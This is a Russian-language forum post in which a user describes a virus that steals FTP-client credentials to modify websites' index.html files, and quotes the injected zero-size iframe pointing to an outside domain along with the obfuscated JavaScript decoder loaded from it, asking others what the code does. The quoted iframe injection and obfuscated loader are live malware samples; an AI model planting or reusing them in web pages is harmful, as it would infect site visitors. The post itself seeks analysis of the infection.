стало интересно что же это такой за вирус. было написано, что вирус вносит изменения в html файлы сайтов, адреса/логины/пароли для которых есть в ftp-клиентах. проверил - действительно index.html одного сайта был заменен на другой с содержанием:
Код
<!-- ~ --><iframe width="0" height="0" src="http://www.mdfc.info"></iframe><!-- ~ -->
открыл указанную ссылку в опере - опера повисла. стало еще интереснее. скачал эту страницу. вот ее содержание (форматирование изменено мной для того, чтобы лучше воспринимался код. в оригинале все шло одной строкой с минимумом разделителей):
Код
<script language=JavaScript>
function makemelaugh(x)
{
var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,
t=Array(63,29,19,28,16,55,22,26,25,4,0,0,0,0,0,0,5,41,1,53,18,12,37,33,
45,46,60,2,59,40,21,34,23,42,9,8,7,48,20,27,50,61,51,0,0,0,0,47,0,58,35,
43,11,6,14,54,57,62,24,49,3,36,17,52,0,38,10,44,31,32,39,15,56,13,30);
for( j=Math.ceil(l/b); j>0; j-- )
{
r='';
for( i=Math.min(l,b); i>0; i--,l-- )
{
w|=(t[x.charCodeAt(p++)-48])<<s;
if(s)
{
r+=String.fromCharCode(170^w&255);
w>>=8;
s-=2
}
else
{
s=6
}
}
document.write(r)
}
}
makemelaugh("r78Xw2s5wbyFhPEgjwYOrftktcxxacxU8cSXeP3XB0sZ978GR0Ekz0EgVK")
</script>
кто может сказать что делает этот код ? я уже мозг сломал.